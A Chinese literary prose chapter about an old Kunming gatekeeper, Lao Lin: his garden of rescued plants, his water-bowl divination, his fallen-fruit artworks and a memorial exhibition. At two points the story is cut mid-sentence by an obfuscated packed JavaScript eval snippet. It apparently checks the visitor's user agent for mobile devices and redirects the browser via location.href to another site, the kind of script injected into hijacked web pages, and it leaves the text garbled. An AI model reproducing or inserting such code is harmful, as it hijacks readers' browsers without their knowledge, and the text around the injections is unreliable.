房间里的桌子很大,是二更很喜欢的那种,看起来朴素甚至有点土,但工作时用起来十分实在。桌下收纳着小风扇和取暖器,对于昆明的气候来说,这两个工具基本都保证了四季舒适。墙上挂着一个月琴,琴头雕刻成一个龙头,龙头上面的龙角用两个非常色彩艳丽的红色毛球来象征,琴箱中心对称分布着两只锦鲤木雕,周边装饰着十几朵牡丹。“他有时候会去翠湖,给唱歌的老太太伴奏”,郁李说,“可惜一个也没成,他自己也没这份心。” 房间虽然空置许久,仍被打理地很干净。二更来到桌子后,在老林经常坐着的地方,又看了一次灵感街。 处于灵感街最高处的小区门卫室,刚好能看到这条狭长老街的全貌。整条街道长长的,长达四、五公里,链接了四、五个建设于上世纪八十年代的老式家属院。街上几家店铺在家属院修建时就开张了,一家店招上写着“灵感街三十年,发财三十年,真汉子绝不欺街坊,如假包换任你打死。” 一家缝纫铺子,每天早九晚五地准时开,门口总是围着几个来修裤脚、改窗帘的人。它收拾着周围几个社区的日常细碎。只要日子不断,就总有人会掉扣子,就总有人需要针线缝补生活不经意间扯开的小口子。 由于家属院楼层不高,不挡太阳,街上总是日光充足,晒太阳的老人家也很多。常有人推着活在轮椅上的老人家在街边的小花园晒太阳,护工或者家人通常一会儿就离开了,留老人一个人晒着。然而太阳是会跑的,所以时不时就会有街坊接力,把老人家再次推进太阳里,让他整张脸都晒得像是涂了一层温润的黄油。老人所在这个社区小花园里,年轻的女孩把一溜卡皮巴拉玩偶拿出来晒,老太太们总是挑能晒得到全身的地方织毛衣和绣十字绣。 太阳一般从下午五点左右开始懈怠,这时候,街边会热闹起来。小贩们开摆青菜摊,卖三、五块钱一带,二、三两块一把的青菜。也会有人卖鲜花,比街上花店里还新鲜,但不是每天都有,也不是每周末都有,而是全看采花人并不遵循七天工作制的个人安排。 再往前,到街的尽头,这里靠近一家小学,算个交通枢纽。每到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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往里走,六栋五层楼的楼栋分两排排开,前方空出一个宽敞的小广场。三、四十多年前的老家属院当时确实建得优雅,小广场里曾有一个喷水池。中央水池底,放着八只石雕的锦鲤,姿态不一,有水时,锦鲤会随着水流转动,使得水池很有观赏性。如今,水池废弃已久,被老林种满了花花草草。锦鲤不能动,倒也不算寂寞。 池边,白色泡沫箱里,十几株大型仙人掌形成了一圈天然篱笆,让池中花草多了份神秘感,也能防止人们不小心踩落台阶。喷水池里的植物,也都长在不算精致的花盆中,比如大油桶、泡沫箱,但都姿态昂扬。其中最多的是被遗弃的年宵花。近两年流行的紫珠、大花蕙兰,都在此休养生息。漂色的蝴蝶兰年节时候会被染成各种讨喜的颜色,败了之后被丢掉,老林收留,也养在这里。它们抽出来的新芽,长出了自己原本的颜色。此外最多的就是易因通风不好生蚜虫和红蜘蛛的月季,因湿度不足焦边的各类竹芋。如今,月季在巨大的泡沫箱里开出了脸盆大的花朵,双线竹芋也生得叶叶层叠,根下不断冒新叶。还有一个泡沫箱里,一株小小的玉树与一群薄荷种在了一起,一个叶子清香但皱巴巴的,一个叶子肥厚却没啥香气,搭在一起,竟然神奇地刚好互补。 喷水池一边,是一处比较短的连廊,花架上爬满炮仗花,冬日里开得正酣。这里刚好放得下两对石凳。平时,常有老人家在此休息或是下棋。连廊最深的角落里,有一辆不知何人何时丢弃的自行车,锈迹斑斑的主体早已和常春藤长成了一体,挨到今日,倒像个刻意而为的装饰。 喷水池另一边,也是院子里造景的视觉高点,一个小亭子。亭子四周放了各种高低不一的花架,上面摆满了小型植物。细小的文竹,长出了虎啸龙吟的气势。老林给它配的花盆是一只被丢弃的金蝉造型的坛子,金蝉嘴里衔着一枚铜钱,铜钱的孔洞里,栓了一串五帝钱。旁边,一组虎皮兰,一大四小,老林把它们栽进了八十年代流行的凉水杯里。这是一组壶具,长颈大肚子花瓶一样的凉水杯,配这四个流线造型的H型水杯,二更小时候家里也用过。再旁边,两只优雅地交颈的白天鹅花瓶里,种着多肉佛珠。碧绿的玉珠链子坠下来,白色和绿色搭配相宜。隔壁宝蓝色的大肚子小口径花瓶里,钻出来一株很蓬勃的柚珍椰子,似鲸鱼喷水。还有一只很惟妙惟肖的豹子花盆,金钱豹神色凌厉,肚里种着的,反而是肉乎乎的可爱熊童子。这里大花盆里都放着蚌壳,因为老林觉得,壳类能帮助植物补充一些营养。一些兰花的花盆里,则铺了他捡回来的松树皮,透气透水。 这些可爱的罐子是老林日积月累下来的,一些是买的,一些是捡的。花园里收留了不少被丢弃的残缺花盆。上身瓶口坏掉缺口的,就用小朵的多肉自然地填补。盆底下半身坏掉残缺的,就用其他碎陶片补一补、垫一垫。尽管这些花盆都站得稳稳当当,但视觉上,因为各种缝补,各有姿态,在游泳的,射箭的,弓腰迈腿打太极的,于是各个都十分有生气。就连淘汰了的旧轮胎里,也种满了多肉,紫玉、景天、玉坠、吊兰,茂盛的有些杂乱,充满了生机。 残缺的,都被治愈了。自然生长的,总是极度舒展的。这里的植物们或张扬,或慵懒,都带着无所事事大大方方的优雅,不在人类面前刻意收敛,有一种平淡日子里慢慢长出的美。 姜籽看这些植物,比二更观察得更仔细。她想到两年前,她曾受邀参与过一场“莎士比亚戏剧中花园”植物插画展。在做功课时,她对《奥赛罗》第一幕第三场的一段话印象深刻。莎士比亚将人的身体比作花圃,把美德和邪恶比作草木。要让花园荒废不治,或是悉心耕耘让其繁花似锦,这个权利,都在于人们的意志。人如何控制自己的生活,就如同园丁们如何在花园里追求理智和情欲的平衡。在这样一个老式的小花园里面,姜籽看到了一个陌生老人的古雅灵魂,更重要的是,她看到了他的美德,他曾用良善与朴素修补这个世界的细小裂缝。 因为老林的悉心耕耘,院子里的住户们时不时可以分到一些果子。水池里有一棵树番茄,果子熟了的时候,老林会摘下来,摆在石凳上,大家自取。泡沫箱子里种了辣椒,原本是垃圾桶旁边的一块小土坡里长出来的,不知谁家丢的厨余垃圾里的辣椒籽投了胎。他舍不得丢,挖出来,养在泡沫箱子里,一长就慢慢长成了一排。辣椒晒干了,也会摆在花坛边上,需要的人自取。 郁李走到一棵树番茄下。“这里是邻里换多余水果的地方,比如我经常把吃不完的香蕉摆出来,免得发黑,再拿回家一个苹果。现在树番茄熟了,在树上挂着,邻居们都没有摘,好像还在等老林来摘。” 二更走过去,用手触碰着树番茄的枝干。老林,应该也会是允许她进小院子里看看芦荟,看看月季的那类人吧,二更在心中默念。 在昆明,任何一栋楼但凡有伸出来的阳台,总会有人养花。喜光好养活的三角梅、天竺葵、蓝雪花、各类吊兰与多肉植物,是最常见的阳台住户。它们长势旺盛,常出窗栏和人打招呼。即便在疏于打理的阳台,虎皮兰、仙人掌等大型多肉也会在充足光照下忽略人类,肆意成长。若是宽敞一点的小院子,谁家都要有从小到大几个盆栽,从发财树、柠檬树、幸福树,月季,到稍微少见一些的铁线莲,天竺葵,月季,牡丹海棠。 最初因为寂寞,二更自来熟地认下的这些“邻居们”。它们有可能在城区街巷的阳台,也可能在郊野的练车场、几近荒废的拆迁区。昆明的植物,不挑地点。硕大的仙人掌或许算是徒长,入不了花市老板们的眼,但仍会被老天爷青睐,在一些荒弃之地,窜出高楼大厦避雷针的气势,从楼顶往下倾斜的多肉和吊兰是无人观看舞台上最让人惊艳的杂技演员,任雨打风吹,不会轻易掉落。 更寻常的,还是老街巷里老家属院里的植物。但未得邀请,二更不敢轻易并不打扰。她只会在门口,隔着一段距离,看看生得十分霸气的芦荟。它们高高地耸立在露天之下,一个主枝之外,四方还伸出了几个侧枝,像青铜器中的发财树那般拼接着直上青天,她第一次想用“矍铄”这个词来形容一株芦荟。或是,整个院子里都开着白色的马蹄莲。马蹄莲常被用作婚礼捧花,秀气精致,但地栽的马蹄莲生在塑料大油桶,竟能像小葱一样往外冒,接了地气后的它们充满无敌的生命力。 有次,一个老太太发现她在小区门口拍照,见她是个女孩,不像什么鬼鬼祟祟的怪人,便叫她进来看看。老太太说,她来早了,院子里的仙人掌下午两、三点才会开花。二更走到院里,才发现这里还有一株一米五、六高的仙人掌,尚未开放的花苞坠满枝头。她下午来,真的开了。但老太太已经不在院里,门卫大爷听说是看仙人掌开花,爽快地放行。 对于一个异乡人来说,这样的相遇,总让她对一座城市反复心动。如果她曾来过这里,或许,老林也会给她放行。说起来,她早已不记得上一个给她放行的看门大爷长什么样子,也从未见过老林,但就像老厂长觉得老林就是那只刺猬,二更觉得,老林对他似乎并不陌生。 “老林每天都要在小花园里呆很久。下班后,我总是能看到老林,拿着一个大水管子,给这些植物浇水。夕阳下,水管下会映出一道彩虹,养狗的人会解开小狗的脖圈,让它在水下和彩虹下跑一跑。我有时候会觉得,他也是一棵树,脸上会有树的神色。可能是一种不恰当的比喻吧。”郁李说,“但我可以解释,树都是很善良,很慈悲的。” 23.最后一课(下): 林大戟 愉快掉落 02 人生的果实,他自己拾到了就好 姜籽还沉浸在花草之中,二更则有了新的疑惑,眼前这个年轻女孩,为何对老林如此了解?难道,他是郁李的园艺师傅? “不。是‘看水’的师傅。”郁李的表情中带了一分少女的狡黠,她正了正身子,举起一只手,伸出食指指了指天,又转了转手指头,问二更,“你们相信,这个吗?” “这个,是哪个?”姜籽也感到好奇。 “是一个人,可以提前的看到一些东西”,郁李说,“一些人管这个叫玄学,老林管这个叫‘看水’。” 郁李最初和老林认识,是因为她失恋了在院子里哭。老林见她着实伤心,就安慰她说,无花果看起来没有花,突然就结了果子。人要相信,生活中有些好事不预告就来临,但是首先,你得好好生活。 说完不久,就有人上门,找老林看事。郁李好奇,在一旁围观。老林有一双眼睛,只要往一只碗里放上清水,摇一摇,他就可以从水中看到,或者感知到一些事情。老林看事很准。除了老厂长和家属院里的人知道,渐渐地,周边也有人知道。门卫室里经常有人排队等候。“ 看水,对他而言,似乎是一件很轻松的事。他说人每天都在看,看月亮照在水上,水光晃晃荡荡。他说人世间很苦的,看水碗,就能看到很多人的苦。”郁李道。 他不以这个谋利,不收钱,不治病,也不影响人前途。他立过规矩,不看财运、不看官运、不看任何大人物。这规矩几乎自断财路,渐渐地,就只有一些心有郁结的人来找,大多是因亲人离世,或是突遭横祸无法接受的可怜人。老林听了,便会跟他们聊聊天,看看因果,渡人一道。来人通常会带些礼物。他不吸烟不喝酒,所以也不收烟酒。实在推不过,就收个果篮,一小箱牛奶。后来,人们知道他喜爱侍弄花草,也会送来几盆花花草草。大多数都是来时开着被肥催开的花,很快就败了。老林养一段时间,它们又可以长得不错。他的秘密是个存了雨水的鱼缸。这些被送来花状态不好,浇一点鱼缸里的水,慢慢能缓过来。 有个周末,一位很贵气的老太太来了。小破家属院的老旧门卫室里,一个衣着精致的老太太跑过来,是为了他不结婚的老大儿子。儿子年轻时,没有结婚的打算,喜欢自由自在。相过几次亲,结果都不好,女孩总是哭着来家里,说一两个月找不到人。再好的对象,后来也不来了之。年纪到了,儿子回归家族事业,坚守不当家、万年老二的人生哲学,不争不抢。他们家这一支,老家在盁海县有大片的古茶林,从清朝时就设立了茶庄,经营茶砖出口贸易。再后来,经历过公私合营、企业改制,现在是省里数得上的民企茶叶集团,并在近几年开辟了雨林古树茶的市场。儿子如今年纪大了,企业经营有道,却仍孤身一人,还时不时去高山林地静休,任谁也不好找他的身影。 老太太找老林看事,确实是不看财运、不看官运的需求。老林踌躇一下,还是应了。老太太说自己身体情况抱怨,很为这个儿子悬心。老林看完只说,少忧思,让老太太游山玩水去。老太太再央求,老林只好说得更明白一些。老人走了,家族的族谱上空出人来,才可以进人。老太太听罢,不再言语。一年后,老太太因病去世。 “那儿子结婚了吗?”姜籽搭话问。 “没有。”郁李说,“那天我问过老林,老林说,这位男士命中就无姻缘,而且他自己也不在意这事。老林的话只是一个安慰剂,给老太太的安慰剂,让她从容度过晚年,了结心事。至于儿子会不会结婚,也是她的身后事了。让她不再执着,也是善事一件。” 从那之后,郁李开始跟着老林学看水。她并不是为了窥探谁的人生,或是谋求离异,而是因为她忽然对渡人这件事有了一些体会。老林经常带着她给人看水。在见过许许多多的人生机遇之后,她意识到,人们选择一种生活方式,就像在称重。有人愿意和具体的人相处,在生儿育女的日子里找到安稳,在一连串固定而且大众的事情中,像走流程图一样,推进自己的人生。也有人不这样,他们手里那个秤,找到了不同类型的秤砣,要称量真正对自己重要的东西。只要不欺骗自己,不伤害他人,怎么秤,如何活,都可以。老天总是会给一些人分一些奇奇怪怪的秤砣的。 “而我呢,我想为这些找到了奇怪秤砣的人,冠冕堂皇地说一些话”,郁李说,“很有趣,也很有必要,我觉得”。 “老林在对那位老太太开解时,说话声音很轻,彷佛在说一件特别不重要的事。但对我来说,我觉得,如雷贯耳也不为过。我觉得这个世界,有点沉重,有点无聊,需要一些新的解释食物运行的说法,帮一些选择了小众活法的人,活得更好。相比之下,他们更可爱。所以,我想帮他们一把。 就说老林吧,老林也是这样的人。因为做了这个行当,老林对外说,对子孙家人不利,所以他不结婚。他看得很准,旁人信他,自然也信这种说法。但实际上,我怀疑,他就是喜欢这样活而已。你如果见过他本人,或许也会这样觉得。他似乎从来没有落寞过。 他选择了这样一种人生,又创造了很多理论和说法,去解释这种人生,让更多和他有点相似的人们,得到解脱。我觉得这种活法很好,我呢,也想试试。”郁李说。 老林走后,听说老林有学生,也有人来找郁李。来问的人并不少。郁李天资聪颖,她学得很快,又和老林有那么一些不同。郁李学老林,开了条件:只看女儿的姻缘。此外,看水时,她会增添一点趣味,随便摘个叶子,投到碗里。“其实一点也没用,我只是觉得,看水无聊”。 但凡问姻缘的,郁李有一个统一的模板 -- 儿孙自有儿孙福。郁李常说,“你女儿的命格,比你们好。她赶上好时代了,而且她八字本身就不错,所以你们不要以差一些的命格,去思量她好一些的命格。”父母都比较和善,又是独生女的,郁李会撒些善意的谎言,“她的姻缘,对她一定是利好的,即便你们那时不一定在了,所以不必担心,随她就好。” “利好?”二更思量着这个词,有些意味不明。 郁李笑着解释说,“利好有很多种解释。婚姻美满是一种利好,自由自在也是一种利好。如果男人是足金,那么对女性来说,没有婚姻一定是一种遗憾。但可惜,男人女人都只是肉身凡胎。对于一些女性,至少以我看到的结果,她嫁不嫁人意思不大,她自己足够过得很好了。那我就会安慰一下她的父母,尽量让她们少插手。我没有骗人,我只是,不必全说明白。” 但如果遇上家里在女儿之外还有男孩,并且郁李能一眼看出,这家人为了卖女儿拿些钱来供给儿子的,郁李会说些狠话,“你女儿嫁得如何,你们都得不到一点儿好处。”郁李还会吓唬一下对方,“你女儿的财,和你儿子的阳寿之间,最好是互不干涉。不然谁挡了谁的路,都要还。” “对方会信吗?”二更问。 “信不信,不是我的事。”郁李说得很任性,“我说了,有人听了,多少有些效果吧?我是这么希望的。” 二更苦笑了一下。她觉得郁李像在搞一场行为艺术。 “认真地说,我没有撒谎,也没有捣乱。我们这个时代,大多数女孩子的命格确实都是挺好的,至少,比姥姥、奶奶辈的好很多。我们身上缺少的是自信,是离了谁都能活、如何活都可以过得好的自信,是那种女孩一个人也能活得很精彩,料理很多事的那份自信。我只是,顺手给大家打个气而已,气运本身就在那里,你多说一寸,人家说许久能多够到一寸高地呢》时不时。即便,我是用半真半假,半骗半哄的方式,帮她们在父母那里开脱一下,也没什么过分之举。这是我的使命。我乐意如此。老林也不会怪我的。”在说“使命”这个词时,郁李有些不好意思,这个词太大了,但她问心无愧。“老林或许就是因为这个,才愿意教我吧?谁说不是呢?” 不过,忽然说了这么大一个词汇,郁李停顿了,被封印住一般。她好像在后悔自己一时嘴快,吐露太多了。 “哦,还是说回老林呐”,她换了话头,“去老林家里,看看老林用落果的画,好吗?” 老林住在第一排三栋一楼,家里差不多被清空了。窗台上摆了一排佛手与香橼,被晒到自然风干,从明黄变成了暖橘色。旁边,还有一个小佛像。佛祖的发髻坏掉了,被谁丢在水池边。老林捡了回来,拿八角金盘的风干果子黏上残缺处,果子和佛祖的肉髻完美地融合了。不仔细看,根本看不出。 房间空荡,但四周墙上,用木质相框挂满了老林用落果做的作品。每一个都有名字,由郁李和居委会工作人员一起整理。未来一年,老林的家将按的意思,用作社区老人的活动室。 一幅叫《菩提》。 一家很红火的素食餐厅用各种菩提装饰入门区域的墙面,菩提一麻袋一麻袋地买,装饰完工后,有一些剩余。餐厅老板以前请老林看过事,特意送来。 紫金菩提是金山葵的果实种子,因被赋予积聚财运的寓意,很受经商人士喜爱。鬼脸菩提是银莲果的种子,又叫“人面子”,花纹像鬼脸,寓意降魔消灾。星月菩提是黄藤的种子,金刚菩提是圆果杜英的种子,凤眼菩提是鼠李科枣属植物的种子。不管是多么好听的名字,统统都是植物的果实,或是果实的一部分打磨加工而成的。 老林用各种菩提子给自己做了只活灵活现的小老鼠,屁股拱得高高的,可爱肥美。各类菩提混着用,按大小随心意排布,不讲究寓意。这幅画的边缘,有一些银白色闪着荧光的小三角。 姜籽和二更细看了很久,都不知道这是什么植物的哪个部分。 “这是猫咪自然脱落的指甲”,郁李说,“一个看过水的朋友送的。她家有猫,时不时能捡到猫咪自然脱落的指甲,很干净。这个阿姨会用小盒子装好,但一直不知道该怎么用。老林用它们给小老鼠打上了一层银白色的自然光泽,对了,老鼠胡子也是猫咪的胡子,也是她收的,选了最长、最硬的几根。” 老林又特意做了个财神,内里各种菩提混用,外表铺的是寓意招财的紫金菩提,回送给了餐厅老板。 现在,那个财神被敬在了店里的财神神龛里,定时三炷香供奉。 一幅叫《小鹿》。 这只小鹿做得很可爱,也很稚拙,像是幼儿园小朋友画的画。小鹿的脸做得像一个小孩子用樱桃核做成,其间夹着一点杨梅核。眼睛用的圆溜溜的桂圆核做成,嘴巴则用一朵风干的红色月季点缀。小鹿的一双角,主体是蓝果树的果子,混杂着风干的风铃花,增加了毛茸茸的感觉。其他地方点缀着桉树、橡树、栗树的果实,大小不一,形状不一,勾勒出鹿角的枝丫。 一幅叫《雪》。 乌桕的果子是白色的,老林用它做了个雪房子。他用乌桕果子下了一场雪,或许他觉得这棵树在想念雪天,所以才把冬日里尽力把自己变雪白。海红豆的种子是红色的,它有一些毒性,但只是单纯来做手工的话,就没有大问题。它被点缀在了雪景里,如雪屋中的一朵山茶。 一幅叫《花环》。 情人节之后,小区里多了几只被丢掉的泡泡月季。自然风干之后,一束花刚好可以做成一个花环。怕花朵不够用,老林先用捡来的松果做了一个环状的底,之后再用干花在蛋糕上进行点缀,搭配自然风干的麦秆菊。麦秆菊也有来处。环卫工人在换绿化带时,老林上去问了,之后捡回家。泡泡月季周边还长了一些毛茸茸的银柳,以及栾树风干成褐色的蒴果外衣。原本,这件外衣是为了让果实在风中更好地滚动,以便走得更远。如今,它安然地停在了花环上。 一幅叫《小蛋糕》。 这一款果实蛋糕,用松果、悬铃木的果实做蛋糕底。 捡拾这些悬铃木果实的时候,恰好赶上了秋天的一场雨。一些果实身上留下了黑褐色的发霉痕迹。好在,院子里有人丢了一小桶白漆底子,老林把发霉的果球刷了白色,重新晒干,铺在底层,形成一个雪花白六角形的底座。点缀其上的是金黄色的黄金球、自然风干成暗红色的滇朴果子,介于藏蓝、紫红之间的蓝果树果子,像小铃铛的蓝桉果实,像一朵花的椿树果荚。蛋糕顶上加了一些小星星,那是发夹,是院子里某个小姑娘丢掉的坏发夹。 一幅叫《花篮》 老林按照某一年国庆之前北京广场上的大花篮做了一个花瓶。花篮的篮身用了苦楝树的果子围出轮廓,中间用菠萝蜜的果实填充。一部分菠萝蜜种子还包着白色的种皮,日子久了,种皮像气球一样撑大了一些,薄薄的一层,带了一些微微的亮银色。 花篮里的花朵,有风干的麦秆菊、鼠曲草、满天星、勿忘我、向日葵,大多数是从垃圾箱被丢掉的花束中捡来的。此外,花朵中还点缀着一些形状奇异的果子,仿栗,成熟时果实会炸开,像海星。枫香树的果子张牙舞爪,但放在这里,安分了不少。此外,还有槭树的翅果,风干后会变成浅褐色的小翅膀,在瓶中花海周围铺开一层小波浪。 一幅叫《花》。 紫红、粉色的木槿花自然风干之后,会被时光镀上一层银白的紫色。这幅画以一个被丢在树枝上自然风干的柳叶环为底,黏上木槿的风干花瓣,其中还夹杂着些郁金香凋落后风干的花瓣,已然分不清谁是谁。它像一只盛开的富贵牡丹,让落花重生。 姜籽还在细看这些果子,郁李又拉着二更和她走到一个柜子前,里面收纳着大大小小形态各异的果实。 “这是?”二更指着一只巨大的果荚,放在柜子里,像一个长约一米的抱枕。 “榼藤子。”姜籽答。 “对啊”,二更彷佛听见一个老者也在笑眯眯地回应说,“单个的果荚自带一个柄,可以做拨浪鼓。多种子的果荚,用火烤了之后会弯曲,可以做成螺旋状的风铃。坠上薏苡、苦楝子、无患子,或是打磨后变成白色的柿子核,风铃就更好看了。” “这是?二更问。 “金钱松的种子”。姜籽答。 “层层叠叠的,像一朵花,花瓣头尖尖的,像小菊花”。隐隐约约,又似乎有老者在说话。 “那这是?” “凤凰木的果荚。” “长长的,像一把桃木剑一样,所以我挂在了门口。” 彷佛是三个人的对话,二更感受到了。她觉得或许,姜籽也能感受到,或者说,至少,她在这些种子面前感受到了熟悉和快乐。二更不再说话了,她静静地跟随姜籽,在这些种子当中游览。 “这是拐枣,七拐八拐,果子很奇特,像天然的扭扭棒。”姜籽说。 “所以,我做成了一个卷发姑娘的背影。”老者说。 “木荷,果实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302031|198549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树上圆圆的,它有非常坚硬的外壳,等它成熟滚落到地上,会裂成四五瓣,果实握在手里,就像一个小圆球,但中间的裂痕,从平面上看像一朵樱花。”姜籽说。 “对啊,它非常适合来做开在花环上的樱花。但小小的裂缝里会躲着小虫子,捡回来之后,得晾很久很久。”老者回应。 “桉树的果实像陀螺,散发着浓密的气味。它一个小盖子,会掉落,掉落之后,剩下的部分像冰淇淋的甜筒。”姜籽说。 “上面的盖子也很好玩啊,像吐出来的一座小山包。”老者回应。 林大戟的果子,都是最寻常的果子,很少有云南找不到或是异国他乡的果子。即便是最日常的果实,也会被他干净整齐地分装在盒子里。盒子,是院子里年轻人经常丢弃的礼品盒、蛋糕包装盒。放上风干的果实,摆出形状来,就像个盒装小蛋糕。几个透明盒子里原是文创小电心,现在是大苞白山茶的茶果、猴欢喜裂开的果皮。 有人知道他喜欢果实,在请他看水时,会带一些过来当答谢礼物。个别少见的果实,他很珍惜,比如,旅人蕉的种子、糖棕的花蕊,它们会收在他捡回的月饼、粽子礼盒中,被当成大自然雕琢的工艺品来保存。老林也会偶尔做些木质的小物件,比如用果荚做成小波浪鼓,用藤类制个手镯。遇上他觉得和善、来的来的人,他会依照对方的五行属性、生肖忌讳,做个回礼送出去。 老林自从爱上果子,日子的一大部分时间,就和果子一起过了。他年纪大了,心思单纯,只和老天爷玩最简单的游戏,很少给果实做精巧的加工。但这并不意味着很省事。 姜籽想起,她小时候到圆通寺写生。寺里的柿子树正结着像小南瓜一样青绿、坚硬的果实。她那时想,哪天它熟了,它一定也来看看。但很快,她就把这个约定抛到了脑后。 人和每一颗果实相遇,都是一瞬间的机缘。树木掉落下来的所有的东西,都是偶然的。秋冬时节的果夹、果实,夏季一场暴雨之后的落叶、断枝,都不会提前通知谁。老林却会提前又及时地赴约,把一地零落的大自然的讯息捡拾起来。果实的掉落大多发生在秋冬季节。老林至少在夏季就开始留意到果实了,甚至在秋冬季节的无数个日子里,等待和捡拾。 他喜欢落果,因为它们赤诚。已经掉落了,它们以最真实的样子,接受这个世界的审阅,在大地上藏无可藏,大大方方地坦露着所有。 当柜子里的果子们,逐一被姜籽看见并介绍,二更最后一次听见的老者的诉说。 “我开始拾落果,是因为我算出,自己的寿命已快到尽头了。我捡着这些果子,一遍遍地看落叶归根。谁都要走到这一步,我只是,提前看见了我这条命的下落。”老林并未对任何人提及这项爱好的原委,包括郁李。人生最后一颗果实,他自己捡到了,就足够了。 天色暗下来,长街似被涂了一层温和的霜,灯光次第亮起,院子外也喧嚣了起来。 要走了,两人与郁李约定,在下一个春天来临之前,林大戟的落果作品展在石房子里展出。 郁李很开心,她忙从老林动手做的小物件筐子里寻摸了两个小物件。她递给二更一个鸡血藤制的蛇头手镯,蛇头雕琢得很细腻,青眼小蛇,头顶草木纹样,十分灵动。“你是一只属木的蛇,小青蛇,来日宁静富足,你会有好命的”,郁李说。 轮到姜籽,郁李本想把最好看的一只单果荚拨浪鼓递给姜籽,已经上手,封禁在果荚里的种子都已经在莎莎作响,她忽然停在半空中,自己晃了两下,听个声响,权当个展示。她换了一个用蓝花楹果荚做的飞鸟背包挂件,“飞鸟伴你平安出行,开心回家。” -- 一个月后,为了迎接这一年最后一场活动,石房子为林大戟设计了一场雪。 昆明,是一个不太下雪的城市。除了海拔更高的轿子雪山,主城区往往要等个五、六年,才能赶上一次冬季能下雪的大寒流,才能下一场并不十分浩荡但十分珍贵的雪。通常,雪来的匆忙,撤半日或一日,再在一日之内火速化光,像逃跑的灰姑娘。于是每到冬日,总有些商圈或是节庆场合会人工造雪。 石房子周边的小园子里,就定制了几处雪景造景,照着老林用乌桕果子制成的雪屋复刻而成。与雪屋相配的,是带了雪顶的郁金香。红里带一线白,粉里带一线白,桃红里带一线白,远远看去,花丛里带的那一缕白,像交襟汉服的那片白,也像冬衣毛领的白,似乎真的下了一场雪,下在了人们对冬日的想象力中。 来客们不仅来看雪,也来送果子。这是一场活动的一个有趣的邀请。认真一些的人,会提前去公园或山林里捡几颗落果,还有一些人抽了周末,专程去植物园、金殿森林公园或是世博园之类有大片林地的公园里捡。粗心一些的人,就直接才菜市场或者水果店里买几颗苹果。都是可以的。果子是送给老林的。拍完照,看看老林的果子画,最后留下一颗小果子,来客们像是会储存果实的小动物一样,陆陆续续聚集在这里,把果子堆在了一起。 郁李也从花店定制了一束果实。乳茄和黄金球都有明亮的黄色,夹杂着青绿色的风车果,与一些不喧宾夺主的花。乳茄像可达鸭,娇憨,每一只都饱满得有一股丰饶的傻气。这束花也晒了小半个月,依然还算好看。 起初,果子很少,只有一堆。后来越堆越多,成了一座小山。新加入的果实,时不时从小山顶上滑落,地面零零散散。后来不知是谁,按照中国人的神奇花圈圈功法,用落果为这些果子划定了一个圆圈区域。落在外面的果子,就会被另一些人捡拾进来,避免这块地面太过凌乱。这年的冬季,天公作美,一连一个月,每天都是万里晴空,太阳把这片空地上的果子晒得干干净净,晒成了长久的艺术品。 最后一次展览的留言渠道,只留了一个老式的大黑板。二更和姜籽发现,老林的院子里还保留着老式黑板,他也偶尔写一写节日快乐,定期更换下一周天气预报。于是石房子的小园子里也放了几块大黑板,留了不同颜色的粉笔,供来客们涂涂写写。 第一块黑板上,有人留言:高级的大地色系!有人回复:因为它们本身就来自于大地。还有人写:我从广州来。木棉的种子总是会炸,变成筋斗云一样。后来去了北京,柳絮满天飞。它们都在飞翔。我想到了“驾鹤西去”这个词,老林是乘着种子飞走了。希望他飞得开心。 第二块黑板上,有人写道:为了吸引鸟兽的注意,将种子传播出去,果实将自己装扮得斑斓多彩。就像翠湖边的赤腹松鼠,偶尔会被构树鲜红的果实吸引。原来,果实,哪怕是掉到地上的落果,也会吸引人类。很幸运呀,它们吸引到了一个很好的人类,成为了艺术品。 第三块黑板上,有人写:果子是人类最初的口粮,它伴随着人类走出原始森林,一直到信息时代,吃果子都是很重要的事。小小的果子里几乎包含了支撑生命的全部要素。我在林先生的创作中,也看到了生命,果子的另一种生命。有人写:草木不会行走,但是果子是自由的。果子的生命历程就是有意或者无意的漂泊之后落地生根,开花结果。在这些作品中,果子呈现出了最具有创造性的旅程。 这是今年,“给孤独展示其才”这堂课里,二更的最后一位老师了。她在这些留言与果子之前驻足良久,想把每一颗可爱的落果看到记忆中去。